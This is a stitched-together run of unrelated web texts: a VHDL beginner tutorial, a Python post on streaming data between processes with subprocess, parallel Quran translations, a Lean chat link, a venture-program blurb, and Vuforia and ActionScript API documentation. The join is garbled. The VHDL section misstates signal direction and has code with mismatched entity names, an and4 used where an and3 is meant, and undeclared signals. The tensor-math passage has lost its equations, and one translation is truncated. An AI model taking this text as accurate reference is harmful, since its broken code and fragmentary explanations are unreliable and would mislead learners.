| VHDL, Verilog, SystemC, Bluespec | Python, Matlab, C, Javascript, R, Racket |
| Describes computation as a combination of digital circuits | Describes computation a set of steps for the computer to execute (imperative programming) |
| Building blocks from boolean algebra | Building blocks from arithmetic |
Before we move on, let’s distinguish one more difference between VHDL and the imperative programming languages you’ve probably seen in the past. Imperative programming languages are based on the idea of sequential statements. In other words, steps are executed one after the other in the order they appear. For example, we can assign a value in one step and read it back in consecutive steps.
# pseudo-code
a = 5
b = a + 1
b # b == 6
In VHDL, we model circuits, so data just propagates through signals (usually we can think of them as just wires).
ENTITY pass_through IS
PORT ( a : IN BIT;
b, c : OUT BIT);
END pass_through;
ARCHITECTURE df OF pass_through IS
SIGNAL between : BIT;
BEGIN
-- b and between are set
-- at the same time!
b <= between;
between <= a;
c <= between;
END df;
If we read the above example like a sequential program,
it looks like between
is being assigned to b
before between
has any value!
We don’t set between
until the next line.
However, when we go to run the circuit, we’ll see b
and c
will have the same value at the same time.
This is because we’re just connecting signals together, and the value of a
is just passing through
our circuit to the other signals.
In digital logic terms, this is called a fan-out.
When we simulate this circuit all of our 1’s and 0’s flow through the circuit in a real-time(ish) way.
We’ll explain how to use VHDL with a short example.
We’ll make a basic selector circuit that selects between one of two signals. You may have learned about this circuit already, called a (2x1) mux.
When the selector is off, the zeroth signal is selected.
When the selector is on, the first signal is selected.
Easy-peasy.
Above, we’ve declaratively described a simple mux with text. It will be easier to implement the mux in VHDL from a formal equation, so that we can map the operations in the equation (AND, OR, NOT, et al) to basic gates in VHDL.
Eventually, you’ll be able to generate the equation directly from intuition. For now, let’s go through the process of making a truth table for all possible input combinations:
| (zeroth signal) |
(first signal) |
||
|---|---|---|---|
| 0 | 0 | 0 | 0 |
| 0 | 0 | 1 | 0 |
| 0 | 1 | 0 | 1 |
| 0 | 1 | 1 | 1 |
| 1 | 0 | 0 | 0 |
| 1 | 0 | 1 | 1 |
| 1 | 1 | 0 | 0 |
| 1 | 1 | 1 | 1 |
We’ll be verbose while simplifying our equation, for demonstrative purposes. If you’re able to jump right to the final equation, that’s great!
If we analyze the textual description, we can see how we’d intuitively generate our equation. When is 0 (off), our will be 0 if is 0, and 1 if is 1. The same can be said for when is 1 (on). If it’s not clear how that leads to equation \eqref{mux:final}, don’t sweat it.
Sketching a schematic of our equation will help when translating our equation (read: circuit) into VHDL. It helps us identify all the pieces we’ll need to use in our VHDL code, e.g. inputs, outputs, intermediate signals, boolean gates, et al. A drawn schematic is not always required, but can help when we’re feeling lost and need to organize the problem.
We’ve made a…box (helpfully color coded)!
Great! Now we can code up our circuit!
We just have to map our schematic to our code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-- Comments start with '--'
-- Inputs and Outputs
ENTITY mux_2x1 IS
PORT ( sel : IN BIT;
s0 : IN BIT;
s1 : IN BIT;
output : OUT BIT
);
END mux_2x1;
ARCHITECTURE df OF mux_2x1 IS
SIGNAL sel_not, temp0, temp1 : BIT;
BEGIN
sel_not <= NOT sel;
temp0 <= sel_not AND s0;
temp1 <= sel AND s1;
output <= temp0 OR temp1;
END df;
Let’s unpack this one piece at a time.
In the above example, the highlighted code differentiates between:
ENTITY
, ARCHITECTURE
, and BEGIN
which denote the structure of our code.s1
, a
, mux_2x1
, and df
, which are just names we’ve chosen for different parts of our design.<=
, AND
, et al, which can create and set values referenced by identifiers.mux_2x1
, MUX_2X1
, mUX_2x1
, etc all refer to the same identifier.
In the examples shown, I made keywords ALL-CAPS and identifiers lower-case, to differentiate them.
In your code, you can choose whichever you’re comfortable with.
Just remember to stay consistent.
We’ve created a design entity (commonly referred to as a module).
3.1
in the IEEE Standard VHDL Language Reference Manual:
The design entity is the primary hardware abstraction in VHDL. It represents a portion of a hardware design that has well-defined inputs and outputs and performs a well-defined function. A design entity may represent an entire system, a subsystem, a board, a chip, a macro-cell, a logic gate, or any level of abstraction in-between.
To reduce confusion with the ENTITY
keyword, we’ll call this a module from now on.
Basically, a module is a full description of a thing.
It describes:
ENTITY
– the inputs and outputs; our interface to our mux.ARCHITECTURE
– the insides of our circuit; what happens to the inputs to create the outputENTITY
and ARCHITECTURE
) could be spread across one or more files.
Conversely, a single file might have multiple modules.
Signals are the basic data values in VHDL. We don’t use the term variable because it is reserved for sequential processes which won’t be covered in this guide.
Because we’re modeling digital circuits, signals can be thought of as the wires connecting
components together. On line 12
of our mux, we declare the existence of our three extra signals.
These are the “internal” wires in our schematic.
We also have to give them a type, of BIT
.
This is important so that we know they’re compatible with our inputs and outputs, which are also type BIT
.
We assign signals with the <=
operator. This also informs us of the direction of our data.
For example, s1 <= s2
means data is being read in from s2
and written out to s2
.
The ENTITY
describes the interface to our thing.
The inputs and outputs, the wires we can set and read from, is described in the ENTITY
.
input <= a_signal
will cause an error.a_signal <= output
will also cause an error.These are referred to as ports.
If we’re designing something that takes inputs from the outside world, does something with them,
and then delivers the outputs back to the outside world, then we need to declare ports in our ENTITY
:
ENTITY another_thing IS
PORT ( from_the_outside_world : IN BIT;
back_to_the_outside_world : OUT BIT );
END another_thing;
You can see that each port is given 1) a name, 2) a direction, and 3) a type.
For example: a : IN BIT;
is named a, is an input from the outside world, and is a single bit.
Ports need a direction because it makes it easier for someone to understand how the circuit is supposed to work
and acts as a check that we aren’t connecting different circuits incorrectly.
Because ports are technically signals, too,
we can reuse their names in our ARCHITECTURE
when reading their values in or writing their values out.
The ARCHITECTURE
structure describes what goes on inside our schematic.
On line 11
we start by giving our architecture a name: df
, and declaring that this is the architecture OF mux_2x1
.
On line 18
, we END
our architecture with the same name, similar to our we structured our entity syntax.
The name df
is shorthand for dataflow.
Dataflow is the name of the style used.
In the coming weeks, we’ll also discuss behavioral (behav) and structural (struct) styles.
We could have named our architecture GooGooGaGa
if we wanted to, but it’s clearer to choose names based on the architecture style.
There can be overlap between styles, and there’s not always a clean distinction, so use your best judgement when naming.
In dataflow styles, the architecture is just a set of signal assignments and equations. We are just describing how data flows. Once you see examples of behavioral and structural styles, the distinction will be more clear.
Any extra signal or component declarations will go between the ARCHITECTURE _ OF _ IS
and BEGIN
lines, which is line 12
in our example.
We need to declare signals, so that we give them 1) a type, e.g. BIT
, and 2) a name for us to use later.
We need to declare components because…well you can check out the next section for that.
After the BEGIN
, we can put our statements. Statements are essentially lines which assign values to signals.
They are how we make our circuit…well…work.
So to wrap up declarations go between ARCHITECTURE
and BEGIN
, and all the statements that do stuff go between BEGIN
and END
.
I alluded to extra components earlier, beyond simple NOT, AND, and OR gates. This is the cool part about VHDL! We can bit-by-bit (no pun intended 🤡) build up a bigger circuit from smaller component circuits.
Let’s look at another example where we use something we already made (the and4
) and focus on the architecture body starting at line 14
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ENTITY and4 IS
PORT ( in1, in2, in3, in4 : IN BIT;
out1 : OUT BIT);
END and4;
ARCHITECTURE df OF and4 IS
BEGIN
out1 <= in1 and in2 and in3 and in4;
END df;
-- ... some time later...
-- ... a different ENTITY declaration for something_else...
-- ...
-- ... and its architecture
ARCHITECTURE struct OF something_else IS
SIGNAL sig0, sig1, sig2, sig3, sig4 : BIT;
COMPONENT and4_gate IS
PORT ( in1, in2, in3, in4 : IN BIT;
out1 : OUT BIT);
END COMPONENT;
BEGIN
-- ...
a_name_for_this_part_of_my_schematic: and4 PORT MAP (sig0, sig1, sig2, sig3, sig4);
-- ...
END struct;
-- ...
We can see that we declare the extra signals we plan on using.
We mentioned earlier that we need to do this so we can use their names later on.
That’s simple enough. After that we have component declaration.
Okay, what’s that about?
Well, we need to declare the existence of any extra wires, and also declare the existence of any extra modules.
We have to declare the existence of our custom 4-input AND gate in line 18
.
The component declaration looks very similar to our ENTITY
declaration on line 1
.
In fact, VHDL has to match the component declaration exactly to a corresponding entity, for us to combine modules together.
Otherwise, when we go to use it in line 24
, VHDL will crash and say, “how in tarnation am I supposed to use something that doesn’t exist?”.
Each module exists in its own little world, and we have to manually tell VHDL that each of those other little worlds exist
when we want to use them together.
Whew.
This is a long section, I know, I know, hush child! There’s another picture coming soon and we’re almost done.
So speaking of line 24
, what the devil is going on there?
Besides assigning signals with operations like output <= my_signal
, or another_signal <= s0 nand s1
,
we can also assign signals by using other modules we’ve built!
And like we went over earlier, between the BEGIN
and END
of the architecture body is where all these
assignments happen.
We already know how to do basic assignment and use basic operators, so I’m gonna skip on ahead to…
Port mapping is, quite simply, mapping signals to ports of other instances.
In line 24
, I decided to use the and4
we made earlier to connect up some signals in my circuit.
and4
instance (a_name_for_this_part_of_my_schematic
).
Each and4
I create here is called making a new instance, compared to just declaring it as a component.
Everything in our circuit needs a name unless it’s a basic AND, OR, NOT, NOR, et al gate.and4
.We need to name them uniquely because we might have multiple and4
’s, and then how do we refer to them?
Here’s a pretty silly circuit:
I spared you the horror of seeing all the wire criss-crossings.
The inputs are all going to each of the and4
units.
Here’s the module:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
ENTITY silly_circuit IS
PORT ( in1, in2, in3, in4 : IN BIT;
out1 : OUT BIT);
END silly_circuit;
ARCHITECTURE struct OF something_else IS
SIGNAL s0, s1, s2 : BIT;
COMPONENT and4_gate IS
PORT ( in1, in2, in3, in4 : IN BIT;
out1 : OUT BIT);
END COMPONENT;
COMPONENT and3_gate IS
PORT ( in1, in2, in3 : IN BIT;
out1 : OUT BIT);
END COMPONENT;
BEGIN
-- maps by position:
-- maps in1 to the first port of the and4,
-- in2 to the second port of the and4,
-- etc, sig0 to the last port of the and4
a4_1: and4 PORT MAP (in1, in2, in3, in4, sig0);
-- maps by position:
-- maps in2 to the first port of the and4,
-- in3 to the second port of the and4,
-- etc
a4_2: and4 PORT MAP (in2, in3, in4, in1, sig1);
-- maps by named value (as PORT MAP ( to port => from signal, to port => from signal, ...)
-- maps in2 to and4::in2,
-- in3 to and4::in3,
-- in4 to and4::in1, etc,
a4_3: and4 PORT MAP (in2 => in2, in3 => in3, in1 => in4, in4 => in1, out1 => sig2);
-- maps by named value
-- maps sig0 to and3::in1,
-- sig2 to and3::in2,
-- sig1 to and3::in3,
-- out1 to and3::out1
a3_1: and4 PORT MAP (in1 => sig0, in3 => sig1, in2 => sig2, out1 => out1);
END struct;
The last takeaways of this code is:
and4
’s and the and3
in our silly_circuit
, just like we had to name
the signals, because they aren’t basic gates.struct
for structural style, which involves (structurally) building
up logic with smaller components, as we are doing here.in1
’s and such and wonder which inN
is referring to what?
Well earlier I mentioned that each module exists in its own little world.
The names exist in their own little world, too (called scope).
When we’re in our architecture body, we’re in our silly_circuit
world, so the in1
refers only to the actual input, as expected.
Remember, the only reason we have the COMPONENT
declaration is so that VHDL knows to go out
and find that module somewhere.
The names in the component declaration are only for matching against the original module.And that’s it! This isn’t an exhaustive explanation of building circuits in VHDL. In the coming weeks, we’ll learn how to compose simple circuits to build more complex circuits that can do math like or handle logic like checking if a thirsty soda-lover entered enough money into a soda machine.
VHDL is the language we use to describe the circuit. We need another piece of software to actually simulate that circuit and observe its functionality. In this class, we’ll use ModelSim both for coding and simulating. If you want to use ModelSim at home, you can download a version from the ModelSim website.
The introductory digital design and VHDL class I’ve had to TA (ECE-200) attracts students with a wide variety of backgrounds. While some students learn just fine with the provided tutorials and labs, others can be turned off by them. Even then, students tend to miss some fundamental concepts when going through the motions of the labs. As such, I’ve decided to provide a quickstart guide with a slightly different flavor. Other primers exist, but I wanted to make something a bit friendlier. This is not meant to be a full reference. I’m very loose with my language throughout this document because of the target audience. If you need to know something specific please find a more complete reference. ↩


Streaming Data Between Python Programs
2020-07-05
2 minutes
Whenever I share data between programs I often write the data out to disk. But what would the relationship between the two programs look like if I want to stream the data instead of write it out to disk? Using the subprocess module in Python we can pass data between two python programs. The subprocess module enables you to execute command line arguments from within a Python script.
For example, the Python code below executes the pwd
command and stores the results as a variable.
import subprocess
subprocess.run(["pwd"])
In order to accomplish this, imagine we have a sensor that generates a timestamp. This represented by the code below. The sensor output is printed to stdout.
# sensor.py
import time
import datetime
# print('sensor timestamp: {0}.'.format(ts), flush=True)
while True:
ts = datetime.datetime.now().strftime('%Y%m%d-%H%M%S')
result = 'sensor timestamp: {0}.'.format(ts)
print(result, flush=True)
time.sleep(2)
Within print I have set flush=True
since I need the buffer to be flushed (i.e. emptied to the terminal) every time the print statement is executed. The buffer is a temporary location for your data when it is moved between processes. Flushing the buffer when writing to standard out forces it to write the results to the terminal (even when it normally wouldn’t do so). On its own, Python’s print statement automatically flushes the buffer everytime it’s called. However, in this situation we have to force this behavior since standard output is buffered when connected via a pipe. If we didn’t flush the buffer then we wouldn’t see the results of the print statement until the process terminated (in this case never, since we’re using a while loop).
In order to collect this data suppose we need to listen the output of the sensor. This is accomplished with the code below.
# listener.py
import subprocess
process = subprocess.Popen(['python', 'sensor.py'], stdout=subprocess.PIPE)
# stdout, stderr = process.communicate() # not useful for this example cause communicate will wait for the process to finish
while process.poll() is None:
result = process.stdout.readline().decode()
print(result.strip())
The listener.py code is doing several things by way of the subprocess module. subprocess.Popen
allows you to spawn a process. The argument stdout
allows you to capture the standard output of the process. We set stdout = subprocess.PIPE
since we want a pipe to be open to standard output. I check to see if the spawed process is still running with process.poll
. We then read the entire line of output with process.stdout.readline()
and print the result.
Executing the following command in terminal,
python listener.py
gives us the following output,
sensor timestamp: 20200705-005927.
sensor timestamp: 20200705-005929.
sensor timestamp: 20200705-005931.
...
426 Words


| 011:073 Khan | : |
They said: "Do you wonder at the Decree of Allah? The Mercy of Allah and His Blessings be on you, O the family [of Ibrahim (Abraham)]. Surely, He (Allah) is All-Praiseworthy, All-Glorious." |
| 011:073 Maulana | : |
They said: Wonderest thou at Allah's commandment? The mercy of Allah and His blessings on you, O people of the house! Surely He is Praised, Glorious. |
| 011:073 Pickthal | : |
They said: Wonderest thou at the commandment of Allah?  Lo! He is Owner of Praise, Owner of Glory! |
| 011:073 Rashad | : |
They said, "Do you find it strange for GOD? GOD has bestowed His mercy and blessings upon you, O inhabitants of the shrine. He is Praiseworthy, Glorious." |
| 011:073 Sarwar | : |
They replied, "Would you be surprised at God's decree? People of the house, may God's mercy and blessings be with you. God is Appreciative and Glorious." |
| 011:073 Shakir | : |
They said: Do you wonder at Allah's bidding? The mercy of Allah and His blessings are on you, O people of the house, surely He is Praised, Glorious. |
| 011:073 Sherali | : |
They said, 'Dost thou marvel at ALLAH's decree? The mercy of ALLAH and HIS blessings are upon you, O people of the house. Surely, HE is Praiseworthy, Glorious.' |
| 011:073 Yusufali | : |
They said: "Dost thou wonder at Allah's decree? The grace of Allah and His blessings on you, o ye people of the house! for He is indeed worthy of all praise, full of all glory!" |
Concepts/Themes Covered: أركان الإسلام > التوحيد > توحيد الله تعالي > صفات الله تعالى > الحميد Pillars of Islam> Islamic> Oneness of Allah> His Glory's Characteristics> The Worthy of All Praise أركان الإسلام > التوحيد > توحيد الله تعالي > صفات الله تعالى > المجيد Pillars of Islam> Islamic> Oneness of Allah> His Glory's Characteristics> All Glorious
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


--- layout: page title: Lean Prover Zulip Chat Archive permalink: archive/179818LeanTogether2019/41996SlidesforLean4talk.html ---
http://leanprover.github.io/talks/vu2019.pdf


I like apples and oranges. I also like:
These are the inside items:
bananas
mangoes
cherries
These are the outside items:
plums
peaches
grapes


Generate patentable IP.
A 6-month systematic ideation program, composed of teams of 2-4 students.
Modeled on Flagship Ventures.
Our teams identify and conduct deep dives into exploration topics to develop robust venture hypotheses.
From idea to product.
A prototyping lab located in the heart of Longwood campus, complete with 3D printers, soldering stations, arduino boards, and other hardware.
Students build a proof-of-concept prototype and expand teams to add experience in engineering, law, and business. Students can then form a company or license IP to an external company, VC, or entrepreneur.


!= css(['views/app']); ?>
!= html(['views/header']); ?>
Success!
Your new bot is waiting!
!= html(['views/footer']); ?>


public class VuforiaTrackableDefaultListener extends java.lang.Object implements VuforiaTrackable.Listener
VuforiaTrackableDefaultListener
is the default listener used for VuforiaTrackable
implementations. This listener facilitates polling for results of the tracking. (Advanced:) Alternate
listeners could make use of event-driven results by taking actions in the VuforiaTrackable.Listener
methods.VuforiaTrackable
,
VuforiaTrackable.getListener()
| Modifier and Type | Class and Description |
|---|---|
protected static class |
VuforiaTrackableDefaultListener.PoseAndCamera |
| Constructor and Description |
|---|
VuforiaTrackableDefaultListener() |
VuforiaTrackableDefaultListener(VuforiaTrackable trackable)
If a null
VuforiaTrackable is provided, then addTrackable(VuforiaTrackable)
must be called later, before tracking actually begins. |
| Modifier and Type | Method and Description |
|---|---|
void |
addTrackable(VuforiaTrackable trackable)
Adds a trackable on which this
VuforiaTrackable.Listener is listening. |
VuforiaLocalizer.CameraDirection |
getCameraDirection()
Deprecated.
This is of little use if a non-builtin camera is in use.
|
OpenGLMatrix |
getCameraLocationOnRobot(CameraName cameraName)
Returns information previously set in
setCameraLocationOnRobot(CameraName, OpenGLMatrix) |
CameraName |
getCameraName()
Returns the name of the camera most recently tracked, or null if tracking has never occurred.
|
protected OpenGLMatrix |
getFtcCameraFromRobot(CameraName cameraName) |
OpenGLMatrix |
getFtcCameraFromTarget()
Returns the pose of the trackable if it is currently visible.
|
OpenGLMatrix |
getFtcFieldFromRobot()
Returns the
OpenGLMatrix transform that represents the location of the robot
on in the FTC Field Coordinate System, or null if that cannot be computed. |
OpenGLMatrix |
getLastTrackedPoseVuforiaCamera()
Returns the pose associated with the last known tracked location of this trackable, if any.
|
OpenGLMatrix |
getLastTrackedRawPose()
Deprecated.
use
getLastTrackedPoseVuforiaCamera() instead |
protected OpenGLMatrix |
getPhoneFromVuforiaCamera(VuforiaLocalizer.CameraDirection direction)
|
OpenGLMatrix |
getPhoneLocationOnRobot()
Deprecated.
Using
getCameraLocationOnRobot(CameraName) is a better choice. |
OpenGLMatrix |
getPose()
A synonym for
getPosePhone() , the latter being more descriptive of the
coordinate system of the value returned. |
OpenGLMatrix |
getPoseCorrectionMatrix(VuforiaLocalizer.CameraDirection direction)
Deprecated.
These phone-based matrices are no longer of much relevance, as the
correct values, when of interest, are fixed and known.
|
OpenGLMatrix |
getPosePhone()
Returns the pose of the trackable if it is currently visible.
|
OpenGLMatrix |
getRawPose()
Deprecated.
use
getVuforiaCameraFromTarget() instead |
OpenGLMatrix |
getRawUpdatedPose()
Deprecated.
use
getUpdatedVuforiaCameraFromTarget() instead |
OpenGLMatrix |
getRobotLocation()
Synonym for
getFtcFieldFromRobot() |
OpenGLMatrix |
getUpdatedRobotLocation()
Returns the location of the robot, but only if a new location has been detected since
the last call to
getUpdatedRobotLocation() . |
OpenGLMatrix |
getUpdatedVuforiaCameraFromTarget()
Returns the raw pose of the trackable, but only if a new pose is available since the last call
to
getUpdatedVuforiaCameraFromTarget() . |
OpenGLMatrix |
getVuforiaCameraFromTarget()
Returns the raw pose of the trackable as reported by Vuforia.
|
VuMarkInstanceId |
getVuMarkInstanceId()
Returns the instance id of the currently visible VuMark associated with this
VuMark template, if any presently exists.
|
boolean |
isVisible()
Answers whether the associated trackable is currently visible or not
|
void |
onNotTracked()
Called by the system to inform the trackable that it is no longer visible.
|
void |
onTracked(TrackableResult trackableResult,
CameraName cameraName,
Camera camera,
VuforiaTrackable child)
onTracked(TrackableResult, org.firstinspires.ftc.robotcore.external.hardware.camera.CameraName, org.firstinspires.ftc.robotcore.external.hardware.camera.Camera, org.firstinspires.ftc.robotcore.external.navigation.VuforiaTrackable) is called by the system to notify the listener that its associated trackable is currently visible. |
void |
setCameraLocationOnRobot(CameraName cameraName,
OpenGLMatrix robotFromFtcCamera)
Informs the
VuforiaTrackableDefaultListener of the location of a particular camera
on the robot. |
void |
setPhoneInformation(OpenGLMatrix robotFromPhone,
VuforiaLocalizer.CameraDirection cameraDirection)
Informs the listener of the location of the phone on the robot and the identity of
the camera being used.
|
void |
setPoseCorrectionMatrix(VuforiaLocalizer.CameraDirection direction,
OpenGLMatrix matrix)
Deprecated.
|
public static final java.lang.String TAG
protected final java.lang.Object lock
protected VuforiaTrackable trackable
protected boolean newPoseAvailable
protected boolean newLocationAvailable
protected VuforiaTrackableDefaultListener.PoseAndCamera currentPoseAndCamera
protected VuforiaTrackableDefaultListener.PoseAndCamera lastTrackedPoseAndCamera
protected VuMarkInstanceId vuMarkInstanceId
protected final OpenGLMatrix phoneFromVuforiaCameraFront
protected final OpenGLMatrix phoneFromVuforiaCameraBack
protected final OpenGLMatrix vuforiaCameraFrontFromVuforiaCameraBack
protected final OpenGLMatrix ftcCameraFromVuforiaCamera
protected final OpenGLMatrix vuforiaCameraFromFtcCamera
protected final OpenGLMatrix phoneFromFtcCameraFront
protected final OpenGLMatrix phoneFromFtcCameraBack
protected final OpenGLMatrix ftcCameraFrontFromPhone
protected final OpenGLMatrix ftcCameraBackFromPhone
protected final java.util.Map<CameraName,OpenGLMatrix> ftcCameraFromRobotCoords
protected final java.util.Map<CameraName,OpenGLMatrix> robotFromFtcCameraCoords
protected final CameraName cameraNameFront
protected final CameraName cameraNameBack
public VuforiaTrackableDefaultListener()
public VuforiaTrackableDefaultListener(VuforiaTrackable trackable)
VuforiaTrackable
is provided, then addTrackable(VuforiaTrackable)
must be called later, before tracking actually begins.public void setPhoneInformation(OpenGLMatrix robotFromPhone, VuforiaLocalizer.CameraDirection cameraDirection)
robotFromPhone
- the location of the phone on the robot. Maps phone coordinates to robot coordinates.cameraDirection
- which camera on the phone is in usepublic void setCameraLocationOnRobot(CameraName cameraName, OpenGLMatrix robotFromFtcCamera)
VuforiaTrackableDefaultListener
of the location of a particular camera
on the robot.cameraName
- the name of the camera in questionrobotFromFtcCamera
- the location of that camera; it transforms FTC camera coordiantes
to robot coordinates@Deprecated public OpenGLMatrix getPhoneLocationOnRobot()
getCameraLocationOnRobot(CameraName)
is a better choice.public OpenGLMatrix getCameraLocationOnRobot(CameraName cameraName)
setCameraLocationOnRobot(CameraName, OpenGLMatrix)
cameraName
- the camera whose location is soughtprotected OpenGLMatrix getFtcCameraFromRobot(CameraName cameraName)
@Deprecated public VuforiaLocalizer.CameraDirection getCameraDirection()
public CameraName getCameraName()
public OpenGLMatrix getFtcFieldFromRobot()
Returns the OpenGLMatrix
transform that represents the location of the robot
on in the FTC Field Coordinate System, or null if that cannot be computed. The returned
transformation will map coordinates in the Robot Coordinate System to coordinates in the
FTC Field Coordinate System.
The pose will be null if the trackable is not currently visible. The location of the trackable
will be null if a location wasn't previously provided with VuforiaTrackable.setLocation(OpenGLMatrix)
.
The camera location on the robot will be null if setCameraLocationOnRobot(org.firstinspires.ftc.robotcore.external.hardware.camera.CameraName, org.firstinspires.ftc.robotcore.external.matrices.OpenGLMatrix)
has not been called. All three must be non-null for the location to be computable.
getUpdatedRobotLocation()
,
getPosePhone()
,
setPhoneInformation(OpenGLMatrix, VuforiaLocalizer.CameraDirection)
,
VuforiaTrackable.setLocation(OpenGLMatrix)
,
getRobotLocation()
public OpenGLMatrix getRobotLocation()
getFtcFieldFromRobot()
@Deprecated public OpenGLMatrix getPoseCorrectionMatrix(VuforiaLocalizer.CameraDirection direction)
protected OpenGLMatrix getPhoneFromVuforiaCamera(VuforiaLocalizer.CameraDirection direction)
@Deprecated public void setPoseCorrectionMatrix(VuforiaLocalizer.CameraDirection direction, OpenGLMatrix matrix)
public OpenGLMatrix getUpdatedRobotLocation()
getUpdatedRobotLocation()
.getRobotLocation()
public OpenGLMatrix getPosePhone()
getFtcCameraFromTarget()
for a better choice.
Note that whether a trackable is visible or not is constantly dynamically changing in the background as the phone is moved about. Thus, just because one call to getPose() returns a non-null matrix doesn't a second call a short time later will return the same result.
getPhoneFromVuforiaCamera(VuforiaLocalizer.CameraDirection)
,
getVuforiaCameraFromTarget()
,
isVisible()
,
getPose()
public OpenGLMatrix getPose()
getPosePhone()
, the latter being more descriptive of the
coordinate system of the value returned. Note that this function is of little use
if a webcam is used instead of a builtin phone camera.public OpenGLMatrix getFtcCameraFromTarget()
getPosePhone()
public OpenGLMatrix getVuforiaCameraFromTarget()
getPosePhone()
because of the differing coordinate systems
used by Vuforia and FTCgetPhoneFromVuforiaCamera(VuforiaLocalizer.CameraDirection)
,
getRawPose()
@Deprecated public OpenGLMatrix getRawPose()
getVuforiaCameraFromTarget()
insteadpublic OpenGLMatrix getUpdatedVuforiaCameraFromTarget()
getUpdatedVuforiaCameraFromTarget()
.getVuforiaCameraFromTarget()
,
getRawUpdatedPose()
@Deprecated public OpenGLMatrix getRawUpdatedPose()
getUpdatedVuforiaCameraFromTarget()
insteadpublic boolean isVisible()
getVuforiaCameraFromTarget()
public OpenGLMatrix getLastTrackedPoseVuforiaCamera()
getVuforiaCameraFromTarget()
@Deprecated public OpenGLMatrix getLastTrackedRawPose()
getLastTrackedPoseVuforiaCamera()
insteadpublic VuMarkInstanceId getVuMarkInstanceId()
public void onTracked(TrackableResult trackableResult, CameraName cameraName, Camera camera, VuforiaTrackable child)
onTracked(TrackableResult, org.firstinspires.ftc.robotcore.external.hardware.camera.CameraName, org.firstinspires.ftc.robotcore.external.hardware.camera.Camera, org.firstinspires.ftc.robotcore.external.navigation.VuforiaTrackable)
is called by the system to notify the listener that its associated trackable is currently visible.onTracked
in interface VuforiaTrackable.Listener
trackableResult
- the Vuforia trackable result object in which we were locatedcameraName
- the name of the camera used by Vuforia to track this objectcamera
- the Camera
instance used in the tracking. Will be null if
a built-in camera is usedpublic void onNotTracked()
onNotTracked
in interface VuforiaTrackable.Listener
public void addTrackable(VuforiaTrackable trackable)
VuforiaTrackable.Listener
VuforiaTrackable.Listener
is listening. May not be
called once tracking has begun. If the VuforiaTrackable.Listener
is already listening
to this trackable, then the call has no effect.addTrackable
in interface VuforiaTrackable.Listener


Suppose
is an arbitrary general coordinate system.
Then the covariant basis vectors are
,
, and
, and the corresponding contravariant basis vectors are written
as
|
(116) |
|
(117) |
and
|
(118) |
In Einstein notation, contravariant basis vectors are denoted with upper
indices as
and the covariant basis vectors are denoted with low indices as
Then the orthogonality relation, Eq. (106), is written as
|
(120) |
Then, in term of the contravairant basis vectors,
is written
|
(121) |
where
,
, and
. Similarly, in term of the covariant basis vectors,
is written
|
(122) |
where
,
, and
.
[In passing, we note that
is the covariant toroidal
component of
in cylindrical coordinates
. The proof
is as follows. Note that the covariant form of
should be
expressed in terms of the contravariant basis vector (,
, and ), i.e.,
|
(123) |
where is the covariant toroidal component of
. To obtain
, we take scalar product of Eq. (123) with
and use the orthogonality relation (106),
which gives
|
(124) |
In cylindrical coordinates
, the location vector is written as
|
(125) |
Using this, we obtain
|
(126) |
Use Eq. (126) in Eq. (124) giving
|
(127) |
which indicates that
is the covariant toroidal component
of the vector potential.]
yj
2018-03-09


| Property | Defined by | ||
|---|---|---|---|
| _doubleTap : Array | KeyboardController | ||
| _downKeys : Array | KeyboardController | ||
| _dx : int = 0 | KeyboardController | ||
| _dy : int = 0 | KeyboardController | ||
| _ed : EventDispatcher | KeyboardController | ||
| _keyListener : Array | KeyboardController | ||
| _lastDown : Array | KeyboardController | ||
| _lastUp : Array | KeyboardController | ||
| _wasRead : Array | KeyboardController |
| Method | Defined by | ||
|---|---|---|---|
|
addKeyListener(keyCode:int, listener:Function):void
| KeyboardController | ||
|
clearKeys():void
| KeyboardController | ||
|
getDx():Number
| KeyboardController | ||
|
getDy():Number
| KeyboardController | ||
|
init(ed:EventDispatcher):void
| KeyboardController | ||
|
isDoubleTap(keyCode:int):Boolean
| KeyboardController | ||
|
isDown(keyCode:int):Boolean
| KeyboardController | ||
|
jumping():Boolean
| KeyboardController | ||
|
readOnce(keyCode:int):Boolean
| KeyboardController | ||
|
removeKeyListener(keyCode:int, listener:Function):void
| KeyboardController | ||
|
shooting():Boolean
| KeyboardController | ||
|
shutdown():void
| KeyboardController |
| Method | Defined by | ||
|---|---|---|---|
|
keyPressed(event:KeyboardEvent):void
| KeyboardController | ||
|
keyReleased(event:KeyboardEvent):void
| KeyboardController | ||
|
keyUp(keyCode:int):void
| KeyboardController | ||
|
markPressed(keyCode:int):void
| KeyboardController | ||
|
updateACS(event:KeyboardEvent):void
| KeyboardController |
| Constant | Defined by | ||
|---|---|---|---|
| DOUBLE_TAP : int = 250 [static]
| KeyboardController | ||
| IGNORE_DOUBLE : int = 40 [static]
| KeyboardController |
| _doubleTap | property |
protected var _doubleTap:Array
| _downKeys | property |
protected var _downKeys:Array
| _dx | property |
protected var _dx:int = 0
| _dy | property |
protected var _dy:int = 0
| _ed | property |
protected var _ed:EventDispatcher
| _keyListener | property |
protected var _keyListener:Array
| _lastDown | property |
protected var _lastDown:Array
| _lastUp | property |
protected var _lastUp:Array
| _wasRead | property |
protected var _wasRead:Array
| addKeyListener | () | method |
public function addKeyListener(keyCode:int, listener:Function):void
Parameters
keyCode:int |
|
listener:Function |
| clearKeys | () | method |
public function clearKeys():void
| getDx | () | method |
public function getDx():Number
Returns
Number |
| getDy | () | method |
public function getDy():Number
Returns
Number |
| init | () | method |
public function init(ed:EventDispatcher):void
Parameters
ed:EventDispatcher |
| isDoubleTap | () | method |
public function isDoubleTap(keyCode:int):Boolean
Parameters
keyCode:int |
Boolean |
| isDown | () | method |
public function isDown(keyCode:int):Boolean
Parameters
keyCode:int |
Boolean |
| jumping | () | method |
public function jumping():Boolean
Returns
Boolean |
| keyPressed | () | method |
protected function keyPressed(event:KeyboardEvent):void
Parameters
event:KeyboardEvent |
| keyReleased | () | method |
protected function keyReleased(event:KeyboardEvent):void
Parameters
event:KeyboardEvent |
| keyUp | () | method |
protected function keyUp(keyCode:int):void
Parameters
keyCode:int |
| markPressed | () | method |
